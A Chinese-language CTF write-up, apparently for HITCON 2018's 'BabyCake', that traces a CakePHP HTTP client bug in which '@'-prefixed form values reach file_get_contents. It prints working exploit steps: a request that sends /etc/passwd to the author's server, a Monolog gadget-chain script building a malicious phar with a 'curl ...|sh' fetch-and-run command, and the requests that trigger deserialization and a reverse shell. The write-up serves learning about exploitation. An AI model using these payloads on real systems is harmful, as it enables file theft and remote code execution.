hitcon2018受虐筆記三:BabyCake學習

HTTPCache HttpComponents · 發表 2018-10-26 00:04:48

摘要：程式碼審計能力真是太太差了，下載下來一看20多M，當時就有點懵，最後連題目的業務邏輯處理過程都沒有理解清楚…. 拿到writeup之後，又自己分析了一遍，過程記錄如下：首先看到composer.json檔案，知道程式碼使用了cakephp框架。然後找原始碼的controller...

程式碼審計能力真是太太差了，下載下來一看20多M，當時就有點懵，最後連題目的業務邏輯處理過程都沒有理解清楚….

拿到writeup之後，又自己分析了一遍，過程記錄如下：

首先看到composer.json檔案，知道程式碼使用了cakephp框架。

然後找原始碼的controller，主要業務邏輯的程式碼如下：

/*
 filename : /src/Controller/PagesController.php
*/ 
<?php

namespace App\Controller;
use Cake\Core\Configure;
use Cake\Http\Client;
use Cake\Http\Exception\ForbiddenException;
use Cake\Http\Exception\NotFoundException;
use Cake\View\Exception\MissingTemplateException;

class DymmyResponse {
function __construct($headers, $body) {
$this->headers = $headers;
$this->body = $body;
}
}

class PagesController extends AppController {

private function httpclient($method, $url, $headers, $data) {
$options = [
'headers' => $headers,
'timeout' => 10
];

$http = new Client();
return $http->$method($url, $data, $options);
}

private function back() {
return $this->render('pages');
}

private function _cache_dir($key){
$ip = $this->request->getEnv('REMOTE_ADDR');
$index = sprintf('mycache/%s/%s/', $ip, $key);
return CACHE . $index;
}

private function cache_set($key, $response) {
$cache_dir = $this->_cache_dir($key);
if ( !file_exists($cache_dir) ) {
mkdir($cache_dir, 0700, true);
file_put_contents($cache_dir . "body.cache", $response->body);
file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
}
}

private function cache_get($key) {
$cache_dir = $this->_cache_dir($key);
if (file_exists($cache_dir)) {
$body= file_get_contents($cache_dir . "/body.cache");
$headers = file_get_contents($cache_dir . "/headers.cache");

$body = "<!-- from cache -->\n" . $body;
$headers = unserialize($headers);
return new DymmyResponse($headers, $body);
} else {
return null;
}
}

public function display(...$path) {
$request= $this->request;
$data = $request->getQuery('data');
$url= $request->getQuery('url');
if (strlen($url) == 0)
return $this->back();

$scheme = strtolower(parse_url($url, PHP_URL_SCHEME) );
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
return $this->back();

$method = strtolower($request->getMethod() );
if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
return $this->back();

$headers = [];
foreach ($request->getHeaders() as $key => $value) {
if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] ))
continue;
if (count($value) == 0)
continue;
$headers[$key] = $value[0];
}

$key = md5($url);
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}

foreach ($response->headers as $key => $value) {
if (strtolower($key) == 'content-type') {
$this->response->type(array('type' => $value));
$this->response->type('type');
continue;
}
$this->response->withHeader($key, $value);
}

$this->response->body($response->body);
return $this->response;
}
}

程式主要會接收使用者提交的兩個引數data和url：

$data = $request->getQuery('data');
$url= $request->getQuery('url');

然後獲取使用者的請求方式，支援['get', 'post', 'put', 'delete', 'patch'] ，然後利用同樣的請求方式去請求url引數的地址，同時攜帶上data引數的內容，和使用者的header。url支援的協議只有http和https：

if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
return $this->back();
 $headers = [];
 foreach ($request->getHeaders() as $key => $value) {
if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] ))
continue;
if (count($value) == 0)
continue;
$headers[$key] = $value[0];
}
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}

但這裡面對GET請求是單獨處理的，因為對GET請求做了一個cache：

private function cache_set($key, $response) {
$cache_dir = $this->_cache_dir($key);
if ( !file_exists($cache_dir) ) {
mkdir($cache_dir, 0700, true);
file_put_contents($cache_dir . "body.cache", $response->body);
file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
}
}

private function cache_get($key) {
$cache_dir = $this->_cache_dir($key);
if (file_exists($cache_dir)) {
$body= file_get_contents($cache_dir . "/body.cache");
$headers = file_get_contents($cache_dir . "/headers.cache");

$body = "<!-- from cache -->\n" . $body;
$headers = unserialize($headers);
return new DymmyResponse($headers, $body);
} else {
return null;
}
}

跟一下如果不是GET請求，之後的程式碼：

private function httpclient($method, $url, $headers, $data) {
$options = [
'headers' => $headers, 
'timeout' => 10
];

$http = new Client();
return $http->$method($url, $data, $options);
}

跟蹤一下POST請求的處理過程：

/*
filename: ./vendor/cakephp/cakephp/src/Http/Client.php
*/
public function post($url, $data = [], array $options = [])
{
$options = $this->_mergeOptions($options);
$url = $this->buildUrl($url, [], $options);

return $this->_doRequest(Request::METHOD_POST, $url, $data, $options);
}

呼叫了_doRequest方法，跟一下：

protected function _doRequest($method, $url, $data, $options)
{
$request = $this->_createRequest(
$method,
$url,
$data,
$options
);

return $this->send($request, $options);
}

繼續跟蹤_createRequest方法：

protected function _createRequest($method, $url, $data, $options)
{
$headers = isset($options['headers']) ? (array)$options['headers'] : [];
if (isset($options['type'])) {
$headers = array_merge($headers, $this->_typeHeaders($options['type']));
}
if (is_string($data) && !isset($headers['Content-Type']) && !isset($headers['content-type'])) {
$headers['Content-Type'] = 'application/x-www-form-urlencoded';
}

$request = new Request($url, $method, $headers, $data);
$cookies = isset($options['cookies']) ? $options['cookies'] : [];
/** @var \Cake\Http\Client\Request $request */
$request = $this->_cookies->addToRequest($request, $cookies);
if (isset($options['auth'])) {
$request = $this->_addAuthentication($request, $options);
}
if (isset($options['proxy'])) {
$request = $this->_addProxy($request, $options);
}

return $request;
}

繼續跟蹤$request = new Request($url, $method, $headers, $data); ,

/*
filename:./vendor/cakephp/cakephp/src/Http/Client/Request.php
*/
// 看Request 類的建構函式：
public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
$this->validateMethod($method);
$this->method = $method;
$this->uri = $this->createUri($url);
$headers += [
'Connection' => 'close',
'User-Agent' => 'CakePHP'
];
$this->addHeaders($headers);
$this->body($data);
}

//看一下body方法
public function body($body = null)
{
if ($body === null) {
$body = $this->getBody();

return $body ? $body->__toString() : '';
}
if (is_array($body)) {
$formData = new FormData();
$formData->addMany($body);
$this->header('Content-Type', $formData->contentType());
$body = (string)$formData;
}
$stream = new Stream('php://memory', 'rw');
$stream->write($body);
$this->stream = $stream;
return $this;
}

如果$data 是一個數組，就會呼叫

$formData = new FormData();
$formData->addMany($body);
$this->header('Content-Type', $formData->contentType());
$body = (string)$formData;

跟蹤一下FromData 類的addMany 函式

public function addMany(array $data)
{
foreach ($data as $name => $value) {
$this->add($name, $value);
}

return $this;
}
public function add($name, $value = null)
{
if (is_array($value)) {
$this->addRecursive($name, $value);
} elseif (is_resource($value)) {
$this->addFile($name, $value);
} elseif (is_string($value) && strlen($value) && $value[0] === '@') {
trigger_error(
'Using the @ syntax for file uploads is not safe and is deprecated. ' .
'Instead you should use file handles.',
E_USER_DEPRECATED
);
$this->addFile($name, $value);
} elseif ($name instanceof FormDataPart && $value === null) {
$this->_hasComplexPart = true;
$this->_parts[] = $name;
} else {
$this->_parts[] = $this->newPart($name, $value);
}

return $this;
}

如果$value 是用@開頭的，則呼叫addFile 方法:

public function addFile($name, $value)
{
$this->_hasFile = true;

$filename = false;
$contentType = 'application/octet-stream';
if (is_resource($value)) {
$content = stream_get_contents($value);
if (stream_is_local($value)) {
$finfo = new finfo(FILEINFO_MIME);
$metadata = stream_get_meta_data($value);
$contentType = $finfo->file($metadata['uri']);
$filename = basename($metadata['uri']);
}
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);

return $part;
}

如果value不會resource，就會帶入file_get_contents中處理，也就是說可以控制file_get_contents的引數，造成一個任意檔案讀取：

http http://13.230.134.135/\?url\=http://wonderkun.cc:8888/\&data\[x\]\=@/etc/passwd 1=1

在伺服器端就可以收到/etc/passwd的內容。

因為可以完全控制file_get_contents的引數，所以可以利用phar:// 協議觸發反序列化，進而 getshell。大致思路如下：

1.構造相應的 payload

2.將相應的 payload 放入某個 phar 檔案中，並放到我們的伺服器上

3.通過題目提供的功能訪問我們伺服器上的 phar 檔案，此時相應檔案被寫入快取中，具體路徑為/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/xxz.phar)/body.cache

4.通過post 請求phar:// 協議的反序列化進而觸發我們的 payload

看到vender中monolog，可以利用這個類來構造執行鏈。

Monolog/RCE/1/gadgets.php" rel="nofollow,noindex" target="_blank">https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/gadgets.php

<?php

namespace Monolog\Handler
{
class SyslogUdpHandler
{
protected $socket;
function __construct($x)
{
$this->socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}

namespace{
$cmd = "curl http://wonderkun.cc:3000/wonderkun.cc:888|sh";

$obj = new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', 'system'],
[$cmd, 'level' => null]
)
);

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($obj);
$phar->stopBuffering();
}

講生成exploit.phar 放到wonderkun.cc/exploit.phar ,然後依次訪問

http http://13.230.134.135/?url=http://wonderkun.cc/exploit.phar
http http://13.230.134.135/\?url\=http://www.wonderkun.cc/index.html/\&data\[x\]\=@phar:///var/www/html/tmp/cache/mycache/x.x.x.x/6a2d709b1f3953e11d7cbfd14b322af4/body.cache 1=1

就成功的反彈了shell。

hitcon2018受虐筆記三:BabyCake學習

您可能也會喜歡…